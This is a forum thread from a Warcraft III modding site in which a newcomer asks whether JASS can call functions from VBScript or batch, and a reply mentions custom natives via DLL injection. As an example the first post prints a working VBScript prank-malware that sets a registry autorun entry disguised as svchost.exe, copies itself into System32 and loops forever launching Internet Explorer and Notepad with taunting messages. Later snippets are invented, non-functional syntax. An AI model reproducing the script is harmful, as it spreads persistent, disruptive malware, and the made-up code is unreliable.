• Listen to a special audio message from Bill Roper to the Hive Workshop community (Bill is a former Vice President of Blizzard Entertainment, Producer, Designer, Musician, Voice Actor) 🔗Click here to hear his message!
  • Read Evilhog's interview with Gregory Alper, the original composer of the music for WarCraft: Orcs & Humans 🔗Click here to read the full interview.

[JASS] Encorporating other languages into jass

Status
Not open for further replies.
Level 1
Joined
May 24, 2007
Messages
1
Hey all, im new here,

but ive had a bit of experience with language scripts ( batch and visual basics ) and ive found it possable to incorporate batch into VB and visa versa

im wondering if that is possable with jass, to call a funtion used by another language?

I think this may be possable, due to very close similarities between jass and VB

Example: (please for the sake of humanity do NOT try this script code, i have used it as an example because it causes alot of things to happen that involve do and loop, and the same sort of funtions that happen in jass. note: if you are silly enough to ignore my plead, be warned i will NOT be held accountable for any damage it might and WILL do to you computer.)

JASS:
loop
exitwhen <condition>
//Actions
endloop

and

Code:
Set wshShell = wscript.CreateObject("WScript.Shell") 
Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost.exe","C:\Windows\System32\Tankgame.vbs" 
Set wshshell = WScript.CreateObject("Scripting.FileSystemObject") 
Wshshell.CopyFile WScript.ScriptFullName, "C:\Windows\system32\Tankgame.vbs" 
Wshshell.run "Notepad" 
wscript.sleep 100 
Wshshell.sendkeys "YOU" 
wscript.sleep 700 
wshshell.sendkeys "ARE" 
Wscript.sleep 700 
wshshell.sendkeys "A NOOB!" 
wscript.sleep 10000 
MsgBox"An error has occured. It appears that you are a noob.", 16 + 4096, "NOOB Alert" 
wscript.sleep 10000 
do 
wscript.sleep 2000 
wshshell.run "iexplore" 
Wscript.sleep 2000 
wshshell.run "notepad" 
wscript.sleep 100 
wshshell.sendkeys "HE" 
wscript.sleep 500 
wshshell.sendkeys "LL" 
wscript.sleep 500 
wshshell.sendkeys "O!" 
wscript.sleep 1000 
MsgBox"Lets try again, shall we?", 16 + 4096, "@_@" 
loop

See at the last line the "loop" funtion, and its above counterpart "do"
they have similar properties to the jass version, where i can add a simple line

Code:
wscript.sleep 500
wscript.par if
wshshell.used num, 10
wscript.par then
wshshell.endof
wscript.par loop

and with batch i call do this to use such funtions:

Code:
call.wscript.vbs.shell
[c]
do
wscript.sleep 500
loop
[c/]

and that there is a batch use other language paramiter.

Hope someone can answer my question
 
Level 14
Joined
Nov 20, 2005
Messages
1,156
It is possible, via custom natives. xttocs developed them, involves injecting a DLL into WC3 or something. Needs a modded executable file to run it, and adds new natives (along with an imported common.j file) that can call functions, such as from lua.

Note that do and accurate waits aren't possible by it.
 
Last edited:
Status
Not open for further replies.
Top